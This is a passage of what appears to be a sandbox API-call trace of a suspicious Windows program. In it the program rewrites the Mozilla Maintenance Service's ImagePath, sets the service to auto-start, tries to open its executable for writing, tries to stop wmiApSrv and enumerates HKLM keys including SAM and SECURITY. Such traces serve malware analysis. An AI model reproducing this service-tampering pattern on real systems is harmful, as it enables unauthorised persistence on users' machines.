lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.558] RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.558] RegEnumValueA (in: hKey=0x150, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.558] RegEnumValueA (in: hKey=0x150, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.558] RegEnumValueA (in: hKey=0x150, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.558] RegEnumValueA (in: hKey=0x150, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0232.558] RegSetValueExA (in: hKey=0x148, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="\"C:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe\"", cbData=0x4c | out: lpData="\"C:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe\"") returned 0x0 [0232.558] CommandLineToArgvW (in: lpCmdLine="\"C:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe\"", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7f03d0*="C:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe" [0232.558] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d630 [0232.558] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d588 [0232.558] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x100) returned 0x21e4e38 [0232.558] LocalFree (hMem=0x7f03d0) returned 0x0 [0232.558] RegSetValueExA (in: hKey=0x148, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="\"C:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe\"", cbData=0x4c | out: lpData="\"C:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe\"") returned 0x0 [0232.559] OpenServiceW (hSCManager=0x803918, lpServiceName="MozillaMaintenance", dwDesiredAccess=0x2) returned 0x8038a0 [0232.593] ChangeServiceConfigW (in: hService=0x8038a0, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0232.609] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0232.609] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.609] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d568) returned 1 [0232.609] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0232.609] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0232.609] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d328) returned 1 [0232.609] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d678) returned 1 [0232.609] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.609] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.610] RegCloseKey (hKey=0x148) returned 0x0 [0232.610] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0232.610] RegCloseKey (hKey=0x150) returned 0x0 [0232.610] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0232.610] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0232.610] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe" (normalized: "c:\\program files (x86)\\mozilla maintenance service\\maintenanceservice.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf8093e0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf8093e0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x50458000, ftLastWriteTime.dwHighDateTime=0x1ced1de, nFileSizeHigh=0x0, nFileSizeLow=0x44000)) returned 1 [0232.610] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe" (normalized: "c:\\program files (x86)\\mozilla maintenance service\\maintenanceservice.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0232.610] GetLastError () returned 0x20 [0232.610] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0232.611] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0232.611] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0232.611] OpenServiceW (hSCManager=0x803918, lpServiceName="wmiApSrv", dwDesiredAccess=0x20) returned 0x803990 [0232.611] ControlService (in: hService=0x803990, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x3, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0232.611] GetLastError () returned 0x425 [0232.611] CloseServiceHandle (hSCObject=0x803990) returned 1 [0232.612] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0232.612] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0232.612] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0232.612] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0232.612] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0232.612] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0232.612] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.612] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0232.612] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.612] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1d18, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0232.612] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.612] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.612] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.612] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.612] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0232.612] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.612] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0232.612] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.612] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1bb0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0232.612] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.612] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.612] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.612] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.613] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0232.613] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.613] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0232.613] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.613] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1d18, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0232.613] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.613] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.613] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.613] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.613] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0232.613] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.613] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0232.613] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.613] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1bb0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0232.613] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.613] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.613] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.613] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.613] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0232.613] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.613] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0232.613] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.613] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0232.613] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.613] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.613] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.613] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.613] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0232.613] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.613] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0232.613] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.614] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1bb0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0232.614] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.614] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.614] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.614] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.614] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0232.614] RegCloseKey (hKey=0x80000002) returned 0x0 [0232.614] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0232.614] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.614] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0232.614] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.614] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1d18, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0232.614] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.614] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.614] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.614] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.614] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0232.614] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.614] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0232.614] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.614] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1bb0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0232.614] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.614] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.614] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.614] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.614] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0232.614] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.614] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0232.614] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.614] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1d18, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0232.615] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.615] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.615] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.615] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.615] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0232.615] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.615] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0232.615] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.615] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1bb0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0232.615] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.615] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.615] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.615] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.615] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0232.615] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.615] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0232.615] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.615] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0232.615] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.615] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.615] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.615] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.615] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0232.615] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.615] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0232.615] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.615] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1bb0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0232.615] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.615] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.615] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.615] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.615] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0232.616] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.616] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0232.616] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.616] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0232.616] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.616] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.616] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.616] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.616] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0232.616] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.616] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0232.616] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.616] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1bb0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0232.616] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.616] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.616] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.616] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.616] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0232.616] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.616] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0232.616] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.616] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1d18, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0232.616] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.616] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.616] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.616] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.616] RegOpenKeyExW (in: hKey=0x148, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0232.616] RegCloseKey (hKey=0x148) returned 